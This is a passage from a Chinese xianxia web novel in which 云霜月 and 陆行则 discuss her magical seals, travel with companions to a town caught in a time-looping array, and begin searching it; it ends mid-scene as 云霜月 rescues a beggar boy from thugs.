陆行则最后看了眼沦落到火曼儿手里的烤鸡,将眼神从那上面拔下来黏到云霜月身上,走了。
徒留下原地神情各异的三人。
火曼儿像是完全忘记了刚刚发生过什么一样,如获至宝地啃着霜月姐亲手给她的鸡。
“额.....是认错了吗?”一旁的左邢却挠挠头,表情有些困惑。
可认成这的谁了啊?
也没见他们手上拿着烤肉的时候陆行则凑上来吃啊。
但是云霜月与陆行则确实不认识,这都没见过几面,陆行则必然不会吃一个陌生人手上的东西。
那看来。可能是真的认错了?
左邢点了点头,迟疑地下了定论。
“嘶!我想想还是不对......欸,姬芜珩你怎么来了也不说话,在看什么呢。”
旁边有道黑影落下,一头白发的姬芜珩坐在了左邢旁边。
只见火光下他神色不明,手里拿着个像是几根针模样的物件摆弄着。
“刚刚我和陆行则一回来,我的青玉针就和我神识发出了共鸣。”他将其中一根针递给了左邢。
但是左邢摆弄两下,这针安安静静地呆在他手里:“我记得你当初就是为了它出来历练的,可这玩意怎么看都很普通啊。”
他们与姬芜珩结伴而行也属一桩巧合,当年的百盟大比其实他与左邢都在场。
姬芜珩的家族属于修真界最为显赫的医术世家之一,而作为族中资源优厚的长子他却没有上擂台,而是在后方治疗比赛受伤的众多弟子。
受伤的弟子都称赞姬公子仁善,实则只有他自己清楚,没法上台的原因是自己的本命法器青玉针尚未觉醒。
在这个世界,修士的本命法器无法通过抢夺和赠予获得,只能依靠修士自身的灵力炼化。
而姬芜珩的本命法器就古怪在这上面,由他自己亲手炼制的青玉针却无法为他所用。
姬芜珩回忆似地说道:“当时我父亲像云氏一脉讨要了一则预言,告诉我青玉针无法觉醒是因为它天生就带有禁制。于是我才四处游历,寻找破解的方法。”
他将目光放到云霜月离开的方向:“只是之前从未有过动静,这一次却同我神识感应上了。”
姬芜珩摩挲着手里的青玉针,若有所思。
——
这头的云霜月带着陆行则来到她一开始醒来的房间内。
她先让陆行则找个位置坐下,随后自己将门栓紧后启动了客栈自带的隔音符,才回来坐到了陆行则对面。
面对陆行则问询的眼神,云霜月思索一番后开口到:“陆公子可记得我晕过去后,阴阳命珠是否有什么异动?”
但对面那人却第一时间没回答她的问题,而是把重点放到了别处:“云霜月,你为什么不像以前那样叫我了?”
“什么?”
像是怕云霜月没听清楚一样,他又重复了一遍。
为什么不叫我小则了?
陆行则想,他好像没有做错什么。
只是离开了一会,为什么不那样叫我了?
那种仿佛将名字化作糖丸,在唇齿间甜滋滋地滚过一圈后,再黏糊糊地吐出。落到人耳朵里都引起一阵鸡皮疙瘩,陆行则前世时常觉得肉麻,偶尔小声推拒让云霜月别这么叫了。
但当云霜月笑呵呵地问他怎么了的时候,陆行则就含糊几声开别的话题揭过。
他此时没有特意做出什么困惑的表情,依旧是平时那样笑眯眯的无害样子,微微歪头看向云霜月。
云霜月不知道为什么他注意力会跑到那个无关紧要的方面,却也耐心回到道:“旁人并不知道你我从前往事,解释起来也多有麻烦,索性当作我们彻底不相识,也好省下编造诸多借口来掩盖关于我们回来的事情。”
更何况,你我如今的身份也并不合适原来那如此亲昵的呼唤。
“现在这个地方只有我们两个人,独处的时候为什么不换回原来的称呼呢。”陆行则依旧维持那副样子,嘴角却慢慢放下。
“私下里一种叫法,外头又是一种叫法,来来去去间,万一什么时候就说错了呢?解释起来只会徒增麻烦。”云霜月有些疑惑,陆行则平时灵活的思维为什么没想到这一层。
“……”他没说话。
“说起来。”云霜月像想起什么似的,带着笑意怀念道:“从前你好像一直不喜欢我那样亲昵地叫你,每次都故意不回应。如今也算得偿所愿了吧。”
“……”
是这样吗。
陆行则从刚刚云霜月笑的时候开始,眼睛就不再同平时假面似地弯着了。他暗金色的眼瞳如同兽类,就这么定定地看着云霜月。
大脑难得有些空白,似乎想要反驳却说不出什么话来。
逻辑上,云霜月说的完全正确,他听着前世的名字觉得别扭也是事实。
但是……
他都听习惯了,为什么……
“哗啦啦——”
云霜月倒了一盏茶。
他那呼之欲出的思绪,也如同这杯中的茶水一样,还没来得及抓住,就归于平静了。
……
既然没有出错。
那就这么叫着吧?
反正只是嘴皮子碰碰的两个字,又不会改变什么。
只是一个称呼而已。
对吧?
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“只是一个称呼而已。”云霜月将杯子推到陆行则面前,带来一阵她身上独有的香味:“陆公子,喝茶吧。”
陆行则不习惯这个新称呼,反应了一会才接过。
见他没有回话,好像突然间沉默了。
云霜月虽有些莫名,但还是将自己一开始就想问的问题再次重复了一遍:“陆公子记得吗?阴阳命珠是不是出现了什么变化?否则我怎么会平白无故晕过去。”
她微微蹙起眉头思索道:“或许还和我身上多出来的禁制有关。”
仿佛触发了什么关键词,云霜月对面的男人终于不沉默了:“什么禁制?”像是机关开始运行,陆行则的话密了起来:“你晕过去后命珠确实有变化,它不知道从哪吸收了一道白光,然后又分为两瓣了。”
陆行则指了指云霜月的手腕,然后举起了自己的:“变成一开始的那个样子了。”随后他追问云霜月:“你刚刚说的禁制是什么意思,前世不是就剩下一个了吗。”
“我让你带我走的原因正是因为这个。”她看着陆行则:“当我在老宅布置爆破符的时候,我发现灵力居然比前世更加丰盈,运用起来也更为轻松了。”
云霜月摸了摸手腕:“当我感到奇怪后便用神识探查体内,却发现原本云氏给我设下的禁制上面,竟然多出了一层禁制。”
陆行则眯了眯眼:“但为什么有了禁制,你的灵力不减反增。”他提出了一种猜测:“难不成这禁制和你原来那些不是一伙的?它帮你压制了原来的那些?”
云霜月点点头,她确实也有这种想法。
前世云霜月身上的最后那层禁制非常诡异,陆行则试了很多办法都没法解除。
这个禁制限制了云霜月的灵力,即使再勤勉修炼,灵力增长也微乎其微。那时的她只能使用对灵力要求不高的符纸,无法炼化出属于自己的本命法器。
如今多了一层禁制,灵力却增加了,而且吸收速度也比从前快了很多。
只是云霜月不相信这个禁制就是单纯帮自己重新修炼的,前世打理云氏那么多财产的经验告诉她,隐藏在馈赠之后的,才是更大的危险。
但云霜月目前对它确实没什么办法,她目前当务之急是按照她的计划,解决另外几个禁制:“陆公子,前世我身上的禁制是你帮我解除的,如今你可还记得关于它们的线索?”
陆行则听到这话,回忆一番后却露出了副奇怪表情:“那是我从老宅找到的线索,根据上面的指引去了一个离清淮不远的小镇,到了那却莫名其妙遇上一个黑衣人,见到我直接往我怀里塞了个盒子就消失了。”
他看着云霜月:“那个盒子上面刻有云氏家徽,我本想回去带给你先看看。没想到我回去的时候你正好睡着了,盒子里窜出几道光往你身上飞,接着你就醒来告诉我你体内的禁制消失了。”
消失了?
云霜月消化着陆行则这短短几句话中出现的众多信息。
小镇。
黑衣人。
刻有家徽的盒子。
完全没有关联的词汇却组成了破解禁制的关键。
半响,云霜月突然问了一个不相干的问题:“如今,你们要去哪?”
“这么快就猜到了?”对面的人依旧看着她:“破解你禁制的小镇。”
“这么能带着你的同伴这样胡闹!”
陆行则又重新笑了:“多个人多份力嘛,反正顺路。”
“........”
“和我一起冒险试试吧,云霜月。”
9. 镜像镇墟
陆行则发出那句邀请后,对面的云霜月依旧没有说话。
关紧的窗户因为设有隔音符所以听不到外界的声音,但外面的声音却可以传到里面。
楼下左邢和火曼儿估计又从吵起来了,声音一阵一阵传入。
这时的云霜月微微将手抬起,那双清凌凌的眼睛就这么看着陆行则。
他眼皮跳了一下。
熟悉的动作唤起了他前世的某些记忆。
挣扎几秒后,才认命似的起身蹲到云霜月腿边。
陆行则一只手将刘海向后掀去,露出光洁的额头。另一只手撑着地面,将脸往云霜月抬起的手边凑。
只见视线里的那只手的拇指与中指相扣成环,玉兰花似的无名指蜷曲。
“啪。”
一个脑瓜蹦,很轻。
指甲盖蹭过他的皮肤,那种裹着丝绒的力道,相触时感受到施力方带有小小的惩戒意味。
陆行则却耸了耸鼻子,下意识嗅着云霜月手腕内侧独有的香气。
直到她的指尖在陆行则的视线里后撤了大半,他才停止对香味的追逐,半真半假地拖长调子嚷嚷:“啊——好痛。”
云霜月自上而下地看着蹲在地上演戏的人,真不知道拿他有什么办法。
她颇有些无奈道:“怎么把先斩后奏这一招用到我身上了?”
陆行则闻言停下了装出来的痛呼声,他直起身子在云霜月面前站好:“上一世我可是一个人去拿的盒子,很累的。”
“可怜可怜我吧,云霜月。”颀长的身体挡住烛光,将云霜月整个人笼罩在他的影子下:“这一世让我多几个帮手吧嘛。”
云霜月看着陆行则逆光下的脸,此时他故意扮可怜想将眼角垂下,殊不知在云霜月这个视角看去,让他本就凌厉的眉眼更是如刀劈斧凿一样锋锐。
哪还有一点无害的样子。
云霜月叹了口气:“这一趟会耽误你们原来的行程的。”
在得知陆行则也跟着一起回来后,按照云霜月原本的计划,是想从陆行则这问出禁制破解方法后,一个人徐徐图之,谁料想他直接将云霜月劫走上路了。
“本来就没什么行程啊,前世我上山退婚结果被老宅留了下来,我就直接传讯给山下进不来的他们,告诉他们不用等我了自己先回去吧。”陆行则的声音从头顶传来:“这一世你直接炸毁老宅,我不到一天就下来了,自然也没提前叫他们先行离开。”
云霜月觉得陆行则有点像民间话本里蛊惑人心的水妖,说的话让她开始动摇。
云霜月将头微微偏开一点,想躲避陆行则此时侵略性过强的眼睛。
只是不知道什么时候,陆行则的一只手早就悄然放在了云霜月脑后。此时察觉了云霜月的动作,他的手完全覆上,让云霜月的动作未能成功施展。
“试试吧。云霜月。”她听见陆行则压低声音引诱道:“这是一个完全不一样的开始。”
一个重新的开始。
陆行则的手指穿插进云霜月漆黑的发丝间,头发缠绕着陆行则手指上形态各异的戒指,仿佛她的神经也被牵动着。
感受到脑后的手施加力道,让云霜月被迫和他的眼睛直直对视。
房间内的铜雀衔枝灯在纱帐后幽幽地吐着火,烛芯爆开的瞬间,属于陆行则那片暗金色的光终于侵入了云霜月漆黑的眼瞳。
他们就这样对视着。
明明两双眼睛间的距离还可以塞下好几个人,但云霜月却感觉陆行则眼里那抹金色如同沸腾的岩浆,即将滴入她眼里那般滚烫。
一个新的开始。
云霜月在心中重复了一遍陆行则的话。
要从这里开始吗?
云霜月当然是想改变什么的,她为此还在脑内初步制定了一个计划。
但陆行则此时的提议和她的计划完全是背道而驰,更别提这次的行动里面还涉及到了他的三个朋友。
……
不过那计划其实只有粗略的开头,其实后面的路该怎么走,云霜月自己也没有想好。
一个新的开始。
她又在心中默念一遍。
……
云霜月微微点了下头,终于妥协了似地开口道:“我知道了,手拿开罢。”
陆行则在她还没说话前就笑了,得到了想要的答案后他听话把手撤下,正准备说什么。
“咚咚——”
一阵敲门声响起,打断了他。
云霜月朝门口看去,随即和陆行则对视一眼,他上前开门。
来人是姬芜珩。
此时的他裹着一身黑色夜行衣,将白发掩盖在兜帽之下。
他看着房间内的二人开口道:“左邢的罗盘发出异动,清淮城不宜久留了。”他的眼神越过陆行则,盯着云霜月:“正好这位小姐已经醒来,既然身体别无大碍,最好现在就动身。”
说罢他从储物袋中拿出两件夜行衣塞给了陆行则,其中一件还是崭新的。
“火曼儿和左邢已经准备好了,我在下面等你们。”
姬芜珩等着陆行则应声呢,结果这家伙接过衣服后也不彻底拿住,第一时间把脑袋转过去看向房间内的女人,见她严肃点了点头后才把两件衣服都捞进了怀里。
“.......”姬芜珩沉默了一些,把刚刚那一幕当作自己眼花了后转身就走。
在百盟大比见人就咬,疯狗一只。怎么可能现在跟被拴了项圈一样,一趟动作跟认主似的。
姬芜珩觉得自己刚刚就不应该和左邢递给他的那杯酒,据说是他自己酿的,也不知道有没有放什么让人神志不清的东西进去。
——
“可是霜月姐告诉我她没法御剑啊!”
云霜月和陆行则换好衣服下楼,火曼儿的声音就传了过来。
陆行则走到左邢身边,用胳膊肘怼怼他:“这是什么情况?”
左邢拿起自己的本命剑示意道:“哝。她说你抱回来的那个妹子不会御剑,非要自己带着她。”
“不然还能怎么办?让你们几个大男人抱着霜月姐走吗。”火曼儿的声音插了进来。
左邢听到这话立马给她回了一个鬼脸:“就你那个三脚猫的功夫,能把自己带飞就不错了!再带个人,小心到时候把人家带到水沟里去。”说罢还夸张地做出几个动作,两眼一翻掐住自己脖子咽气状。
“你!”火
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曼儿被他那贱样气地冒火,但是没法反驳。
左邢说的确实没错,在御剑一术上她并不是很擅长,贸然带着云霜月一起更不是很妥当。
突然,她脑内灵光一闪。
“听说陆行则不是有两把本命剑吗?是一对剑。”她眼前一亮:“御剑的话一把剑就足够了,陆行则可以把那个用不着的女剑给霜月姐啊,反正两把剑都可以用神识操控,你顺手带着一起飞呗。”
一旁的左邢却嗤笑一声,打算拆台。
陆行则那对本命剑可是有灵智的,诞生了灵智就会出现器灵。实力提升的同时,主人对法器的掌控难度也会上升。
因为器灵是有自己的思想的,这就意味着有些事情上,主人明明下了命令,但如果器灵十分不情愿的话,是可以违抗主人命令的。
修真界常有主人遭到器灵反噬后陨落的事情。
况且器灵还是神识产物,主人的情绪一定程度上影响着器灵。
云霜月才刚和陆行则认识,他的那把本命剑怎么会仍受被陌生人踩在脚下的感觉呢?
“他那......”左邢正要开口,余光却瞥见一旁的陆行则动了。
他听了火曼儿的话后若有所思地点点头,双手掐诀,直接召唤出了本命剑。
“叮——!”
随着剑刃碰撞的声音,两把风格迥异的剑浮现在众人面前。
一把剑身通体赤红名赤霄,另一把则干净清透名青髓。
赤霄火纹灼天,青髓冰魄镇地,水火既济,方为对剑。
陆行则时常使用的是前一把,但其实后面那把女剑,才是他耗费极大心力炼化的。
取昆仑玉魄凝成剑胚,他徒步走出他的家乡——北境那十万里茫茫冰原时用剑胚削发代首,割下的头发坠入寒潭惊动了沉睡百年的蛟龙。九死一生后取龙骨铸剑,龙血滴于剑上。
剑光澄澈如冻泉,霜刃出时方圆十里落雪凝滞。
但青髓剑器灵性格难以琢磨,陆行则一般不会在平时单独使用它。
“啧啧啧,不愧是青髓剑啊!感觉比上一次见的时候还要漂亮了。”左邢感叹道,说着说着还打算上手摸摸,被青髓剑躲开了。
陆行则没管他,对着青髓剑低喝一声:“去。”
被剑嫌弃的左邢摸了摸下吧,陆行则不会真觉得火曼儿那女人说的话可行吧?他们熟成这样青髓剑都不让摸。
然而接下来发生的一幕却让他出乎意料。
只见青髓剑如同一道流光飞速掠过众人身边,直直在云霜月面前停下。随后将自己锋利的剑尖垂下,拿光滑的剑柄蹭了蹭云霜月的脸。
听到云霜月温和地笑了两声后它才停下,绕着云霜月转了几圈,最后乖乖悬停在她脚边,等她踩上去。
不是?
左邢瞪大眼睛。
陆行则这破本命剑难道还看脸!?
左邢捂着被剑伤到的小心脏,打算吐一吐苦水。
不过周围没有一个人理他,姬芜珩和陆行则在看地图确定接下来的行进路线,火曼儿那女人正开心地晃着云霜月的手庆祝接下来可以一起冒险了。
靠。
天理何在!
10. 镜像镇墟
左邢就怀揣着他那无人在意的气氛飞在了最前面。
倒不是因为真生气,而是他的本命法器是一个罗盘。按理说这种法器都是用来占凶卜吉的,但左邢经常拿它当路标使,比仙盟的追踪令牌好用多了。
“快到了。”飞了一阵后,左邢看着手中的罗盘说。
他们要去的这个地方离清淮城不远,御剑用不着半个晚上就能到达。
不过此时的他抬头看了眼天色,扭头问了陆行则一句:“你要去的这个地方是个镇子对吧,里面有没有客栈啊?”
现在这么晚了,陌生镇子的条件肯定不比城里,不知道现在会不会有还开着门的客栈。
“如果没有,我们在镇外先呆一晚也没有关系。”姬芜珩接过他的话:“总归是已经顺利离开清淮城了。”
左邢闻言点点头,又看了眼罗盘后对众人道:“就在这了,找个位置降下飞剑吧。”
陆行则却敏锐地看了旁边的云霜月一眼,不知为什么她的脸色有些凝重。
像是感知到了他的目光,云霜月转头看来,小声迟疑道:“不清楚是不是我的错觉,我觉得有些不对劲。”
“嗯,那我小心一点。”他应了声。
说话间随着高度的降低,小镇建筑和布置也更加清晰。奇怪的是夜色下整个小镇灯火通明,甚至还有不少的摊贩和行人。吆喝声,聊天声,四面八方传入出现在镇子中的众人耳内。
“......什么情况?”火曼儿懵了:“这个点了怎么会有这么多人。”
“这镇子的灵气流向不对。”左邢盯着还没收起的罗盘,此时上面本该指北的灵石指针正疯狂旋转:“西南角的药铺,东南方向的胭脂坊,还有.....”
这下有没有开着的客栈已经不是问题了,这群全都如同在白日一般活动的居民才是最大的问题。
陆行则听到云霜月那句不对劲的话后眉头一直皱着,现在到了小镇内见了这一番景象后更是没放下来。
他确定这里就是他当初来的小镇,设施和建筑都一模一样,可这绝对不包括这群小镇里的人。
为什么这一世变化如此之大。
难道是因为他去的那天正好是白日?时间问题?
在他思索之际,一旁的姬芜珩却出声疑惑道:“这群人……好像看不到我们。”
他们几个人凭空出现在这,衣着打扮明显不是镇内人,却没有一个人过问。
火曼儿闻言主动去一个居民面前挥了挥手,那居民就如同姬芜珩猜测的一样,理都没理她直接走了,像是根本不知道旁边多出来了一个人那样。
火曼儿见状,直接用手去拉那居民的袖子,却没想到那一瞬间自己的手指变得透明,直接穿居民的衣袖而过。
“这!”她一惊。
离她最近的左邢本想拉住她,让她不要轻举妄动,却没想到看见了这一幕。
此刻也意识到事情的不寻常,他转身学着火曼儿的样子也去拉了一个路人。
果不其然,左邢的手在拉住路人的时候也直接变得透明。
他神情立刻变得严肃,朝陆行则看去,对方摇摇头,示意情况和他的一样。
“我刚刚试着用剑探路看看能不能出去,谁知道这镇子颇为诡异。”姬芜珩握住返回的剑:“我的剑沿着一个方向没飞多久就像碰到了一个屏障一般,无论如何都没法前进半分。”
“我们应该是被困住了。”左邢听懂了他的潜台词。
云霜月从刚刚开始就一直沉默,见另外几人陷入不再说话,她思索一会后上前一步。
她面色平静,走到左邢面前询问:“你刚刚提到的药铺,是那间吗?”
见云霜月伸出手,顺着她手指的方向,左邢虽然不知道她要干什么,但还是点了点头。
云霜月得到了答案,抬脚就朝着药铺走去。
到了药铺,里面灯亮着,门口却空无一人。云霜月指尖拂过门前的晒药架,上面本该酥脆的草药却渗出露水,旁边的一些草药还凝结着冰晶。
手边多出一团黑影,云霜月知道是陆行则跟了上来。
她微微偏过头:“陆公子可还记得,今日是什么节气?”
“谷雨三日。”陆行则剑柄上的流苏无风自动:“怎么了?”
“但这片流火树叶。”她将叶片举到二人中间:“我曾在老宅时翻阅过一篇药草古籍,上面提到这种树叶只有秋霜打过才会泛出银边。”
此时火曼儿他们也跟了上来,他们来到的那个瞬间,云霜月手中的叶片突然间碎成冰粉落下,随后竟在地上凝聚成细小的符文。
姬芜珩存放青玉针的匣子突然开启,之前一直没有动静的本名法器如今频频异动。
此时那几根针悬浮在符文的上空,若隐若现的红线缠绕在上面,针尖指向不远处的一口古井。
丑时的打更声从从巷尾传来,云霜月忽然按住心口。
她突然感受到体内禁制开始活跃,尤其是这一世多出来的那一个,震动最为剧烈。
手腕上的阴阳命珠又开始泛起烫意,而这一次命珠的温度像是联通了一半,让一旁的陆行则也感受到了。
他将视线从青玉针指着的古井上快速移开,别过眼来就看到了捂住心口的云霜月。
“云霜月!”
“先别管我,陆公子。”云霜月的声线一如既往平稳,像是安抚道:“数数那个更夫迈步的次数。”
陆行则听到云霜月下的指令,朝她目光的方向看去。只见一个提着灯笼的更夫出现在离古井不远的胭脂坊旁。
“从药铺到胭脂坊,一共二十七块石板。”云霜月的声音在他耳边响起。
那几块青石板造型独特,和旁边满是泥土的地面有明显区别,此时正在月光的照耀下闪着光。
陆行则皱眉观察,此时更夫的皂靴正踏在第二十六块石板上。当下一步落下时正好踩在第二十七块石板上,就在那时,更夫好像被一只看不见的手挪动了一般,突然诡异地回到起始位置。
“......他在重复丑时三刻的动作。”陆行则道出云霜月心中所想。
阴阳命珠的温度越来越烫,像是在催促什么似的。
一直沉默的姬芜衡突然开口:“大家看月相!”
随着他的话落下,众人猛地抬头。
只见天上那轮高悬的明月亮得诡异,边缘竟有锯齿状的虚影,像是被撕去一角发符纸。
然而就在此时众人望月间,云霜月那个多出来的禁制居然头一回显形。黑红色的雾气萦绕在她的手腕上,旁边的阴阳命珠温度突然恢复了正常。
那个禁制咒印上有几条裂纹渗出黑气,绕过了阴阳命珠飘向古井
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上方,逐渐凝聚成一只残缺的罗盘。
目睹这一幕的云霜月好像在那个瞬间意识到了什么:“不是时间在倒流……”
这句话出口的瞬间,整个小镇好像被按下了暂停键。路上来来往往的行人停止走动;卖糖人的老头保持着吹糖的姿势,糖稀却凝固成诡异的人形;酒旗悬在半空不再飘动,连屋檐上挂着的铃铛声都被突兀地截断。刚刚还宛如闹市般的小镇,顷刻间化作一片寂静。
动作僵直的居民脚下延伸出半透明的红色丝线,和姬芜珩青玉针上的如出一辙,此时这些丝线最终汇聚到了那口古井上方的残缺罗盘。
像是有能量在输送一般,随着丝线汇聚的越多,那个残缺的罗盘开始慢慢恢复原本的样子。
而当那罗盘完整的样子出现在众人面前时,云霜月却心下一沉,这罗盘的样子完全印证了她心中的猜测。
果然。
是太乙镇灵阵。
不会错的。
当年的陆行则从不渡川带回来了一堆她从未见过的云氏古籍,为了寻找如何破解身上最后一层禁制的方法,云霜月每本古籍至少翻阅了三遍以上。
而这太乙镇灵镇,在每本古籍上都有记载。
她也发现了这个事情,于是托陆行则去问了他那些擅长阵法的朋友,结果毫无收获,都说从未见过这种阵法,而久在云氏老宅生活的云霜月也从未在家中看见过,最后关于这个阵法的事情就那么搁置了。
所以。
为什么会在一个离清淮这么近的无名小镇上见到?而且自己的禁制和阴阳命珠都给出了反应。
这个地方和云氏有什么关系?
一个个疑问在云霜月心口盘旋。
思索间地面开始震荡,古井的周围开始逐渐浮现一个巨大的阵法。
陆行则眼疾手快扶住了摇晃的云霜月,而一旁没反应过来的左邢就没那么幸运了,直接一屁股摔到了地上。
云霜月拍了拍陆行则扶住她胳膊的手,示意他去帮左邢后开口道:“如果我猜得没错,眼下这整个镇子都被嵌进了一个名叫太乙镇灵阵的法阵之中。这里的时间自成一派,混乱无序。”
仿佛印证了她的话,在左邢摔倒的位置上有株芍药花以肉眼可见的速度凋零,枯萎的花瓣落地即化作飞灰。没过几秒飞灰又重新凝聚成了一朵新的芍药花,在月光下绽放。
“我曾在古书上见过这个阵法,上面详细描绘了它的样子,却唯独没有告诉我该如何破解。”
就在云霜月说话的时候,陆行则脚下阵法的样子不知何时变成了黑白交错的太极图:“当心脚下!”
此时云霜月一行人站在阳极鱼眼处,听到陆行则的话后火曼儿想要拔剑而退,但她的剑却像浸入了泥沼般凝滞,无法挥动。
白色的薄雾从阴极鱼眼中弥漫开来,逐渐形成了五个看不起五官的小孩,人数正好和云霜月他们对上。
但云霜月却没空管那么多了,她身上的禁制从手腕处开始蔓延,逐渐攀上了她的脖颈。手腕处的阴阳命珠也重新开始活动,金色光芒流转间浮现出珠子的虚影,和陆行则手上那半颗虚影拼凑在一起组成了完整一颗。
然后命珠的虚影便直直飞向井口的罗盘,就在它们接触的一瞬间,罗盘爆发出了炫目的白光!
随后众人就眼前一黑,失去了意识。
11. 镜像镇墟
“霜月姐?霜月姐!快醒醒。”
云霜月耳边响起呼喊的声音,从模糊到清晰。
慢慢的她开始感到有人在推自己的胳膊,一下一下,速度也由慢到快,像是主人的心情也越来越急切。
别急......
云霜月脑中迷迷糊糊安慰着,想抬起手安抚一下旁边着急的人。
“啊!霜月姐你醒了!”那个人马上捕捉到了她细微的动作。
云霜月刚抬起的手被猛地握住,她睁开眼一下就看到了火曼儿惊喜的脸。
这是怎么了?
云霜月意识短暂丢失了两秒,才意识到他们现在应该是在被卷入的阵法当中。
火曼儿看着她苍白的脸色有些担忧地问道:“霜月姐你没事吧,我刚刚一醒来就看见你昏倒在我旁边,怎么也叫不醒。”
“不用担心,我没事。”云霜月颇有些无奈,她回来一共就没几天,怎么莫名其妙晕了这么多次。
“那就好。”火曼儿松了一口气,说明眼下的情况:“我醒来的时候身边只有霜月姐你一个人,陆行则他们应该是和我们分开了。”
云霜月在火曼儿的搀扶下从地上起来,她环顾了一下四周的情况,发现自己和火曼儿此时正处于一个漆黑的巷子里。
鼻尖萦绕着花的香味,浓厚的有些呛人,这种味道让云霜月有股熟悉的感觉。
“曼儿,你醒来后出去探查过附近的情况吗?”她询问比她早醒过来的火曼儿。
“没有。”火曼儿摇摇头:“我比霜月姐你没早醒多久,见你还在昏迷我不太敢轻举妄动。”
“好。”云霜月带点点头:“一直呆在这不是办法,眼下我的身体没有大碍,我们出去想办法和陆公子他们会和吧。”
火曼儿马上接受了这个提议,一点也没犹豫转身就走。看着她一马当先的背影,云霜月叮嘱道:“若是遇到什么危险,就躲在我的身后。”
“欸?放心吧霜月姐,我力气很大的。”火曼儿笑嘻嘻的:“怎么能让霜月姐保护我。”
火曼儿回过头来牵云霜月的袖子,和她一起踏出小巷。
迈出去的那一瞬间,漆黑被亮如白昼的灯光驱散。
更夫敲着戌时的梆子声,和市集的喧闹混在一起。摊贩肩头的鸟雀突然炸开羽毛,惊得旁边那个挑担货郎撞翻了竹筐,新蒸的团子迫不及待地逃了出来,其中一个还正好滚落到云霜月的脚边。
“诶哟,姑娘不好意思啊!实在不好意思!”卖团子的人跑到云霜月脚边捡起掉下的团子,别过脸怒气冲冲地找那个货郎理论了。
火曼儿看见了这平常的一幕却喉咙一紧,瞪大眼睛:“这......这不是我们一开始来的那个镇子吗?”
云霜月和她对视一眼,显然也意识到了这个问题。
为什么刚刚那股花的味道如此熟悉,眼下她看见了旁边那间一模一样的胭脂坊时才豁然开朗。
这里还是那个小镇。
他们根本没有离开去什么别的地方。
只是同一开始那个小镇不同的是,现在这里的居民明显可以看到她们,这一点从那个向她道歉的团子小贩就可以看出。
“霜月姐,你当时说的那个太乙镇灵阵究竟是什么东西。”火曼儿看着眼前匪夷所思的画面,当时情况紧急,云霜月没来得及对这个阵法多加解释就直接昏迷了。
现在虽不知道暗处会不会有什么危机,但表面上总归还安全着,让云霜月可以回忆起有关这个阵法的更多细节。
“根据云氏古籍记载,此阵本为千年前初代云氏先祖所创,阵眼以日晷罗盘为核,借周天星斗之力织成时间经纬,将游历于三界之外的一切可能锁入阵中,防止其扰乱现世因果。”
“一切可能是指.....?”
“入阵者在不同时间线产生的不同命运。”云霜月解释道:“凡是进入了这个阵法的人都会触发一种叫‘照影’的灵术,顾名思义就是此阵从其锁住的命运长河中打捞一个‘未被实现的自我’,让这个‘自我’和入阵者一齐进入阵中世界。”
“那看来眼下找出这个‘自我’才是破开阵法的关键。”火曼儿陷入沉思:“但这东西有什么明显的特点吗?怎么才能找到它们。”
“书中虽未告诉我如何利用它们破阵,却告诉了我关于它们的很多信息。”云霜月回忆着:“它们诞生时为幼年状态,通过吸收本体溢散的灵力和执念成长。”
“遇不到本体就无法吸收,所以一开始见到它们就一定是孩童状态,对吧对吧?”火曼儿一捶手,扎起来的几条辫子都跟着一起雀跃似地抖了抖。
“嗯。”云霜月鼓励地朝她点点头:“接下来只要找到容貌与我们相似的小孩就行了。”
这个镇子不是很大,顺着找下去说不定还能和陆行则他们会和。
“哈哈!那走吧!”火曼儿叉腰。
——
八角鼓混着铜锣的声音一阵阵传入耳中,杂耍艺人喷出一口火龙掠过云霜月的衣袍,灼热的气流穿过熙熙攘攘的人群吹动了摊贩旗帜上的彩绸。
“这街上还挺热闹的嘛。”火曼儿在一旁感叹道:“我此前一直呆在宗门,竟不知凡人的街上这么有趣。”
与沉浸在其中的火曼儿不同,云霜月走路的脚步一顿,扭头问道:“曼儿,你有没有听到什么声音?”
“嗯?”火曼儿凝神,用被压制住的那点稀薄灵力探了一下:“没有啊?霜月姐你说的是那种声音?”
“像是一群人在殴打谩骂.....”她皱了下眉头:“一个孩子?”
云霜月本就灵力稀薄,进入了这个阵法后灵力更是被压缩得可有可无,她只能听个大概。
“啊,你原来说的那个啊。霜月姐你吓死我了,我还以为什么大事呢。”火曼儿语气随意,伸出手指了指前面:“就在那个煎饼摊子后面,我探到的时候应该是几个男的在教训一个乞丐小孩吧。”
“你早探查到了?”
火曼儿疑惑道:“对啊,在霜月姐你说听到声音之前,我就知道那个小孩被人围着。”
“那为何不告诉我呢。”云霜月轻声问着。
“阵法里面的凡人而已,在意它们做什么?”火曼儿想了一下:“霜月姐你是怕那小孩是我们中某个人的‘自我’?这肯定不会啊,我看那小孩灰头土脸的,根骨也差,我们不至于落魄成那样吧。”
温暖的灯光下,这个一直在云霜月面前表现得满是热情活力的漂亮少女神色冷漠,对凡人如同对待灰尘一样毫不在意。云霜月从火曼儿这短短几句话间,才看见了从小就出生在修真界显赫宗门,作为高高在上门主之女的那道傲慢的痕迹。
那被围困的凡人孩子在火曼儿眼里变如同蝼蚁,若不是云霜月特意提及,她甚至不会给予半分眼神。
“霜月姐?这么不说话?”火曼儿对上了云霜月的眼睛。
里面并没有不赞同的批判。
但那是什么表情?
哀伤?可怜?还是什
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么别的情绪?通通混在云霜月那像黑珍珠似的眼睛里,很快消散。
她看见云霜月对她很温柔地笑了一下:“曼儿你先呆在这玩会,我去帮帮那个孩子。”
随后云霜月转身,加快步子朝着火曼儿指的方向过去。
——
煎饼摊后,一个穿着破布衣裳的小男孩蜷缩在货架旁。
他脚下的地上有着星星点点的血迹,此时男孩的耳边嗡嗡作响。地痞的靴子碾过他刚接好的左手腕骨,剧痛让他眼前炸开一片金星。
“臭小子骨头倒是挺硬。”领头的男人往掌心啐了口唾沫:“凭这个就想拿回你那玉佩?”
“老大,我看他这玉佩成色这么好,说不定也是偷的。”
“还给我——!”男孩用嘶哑的声音喊道:“那是我娘给我的!”
“还敢顶嘴?”那个男人好像被他的话惹怒,手伸过来想揪他头发。
男孩闭紧眼,可预料的疼痛并没有落下。他睁开一只眼睛,忽有素色的裙角盖过了满是红色的地面,血色的视野中闯入了一截月白云锦披风。
带着一股好闻的香味,披风罩在他蜷缩的躯体上。
“诸位要打断孩子几根骨头才解气?”清泉般的声线里掺着三分寒意。云霜月背过身护住那个小孩,左手掐诀展露灵的气息。
“老大,这女人是修士!”一个地痞惊呼:“这我们惹不起,赶紧走吧。”
领头的男人喘着粗气,瞪了眼地上的男孩:“算你今天走运!”随后挥了挥手带人离开。
“玉佩。”云霜月见那人就想这么走了,冷着声音提醒。
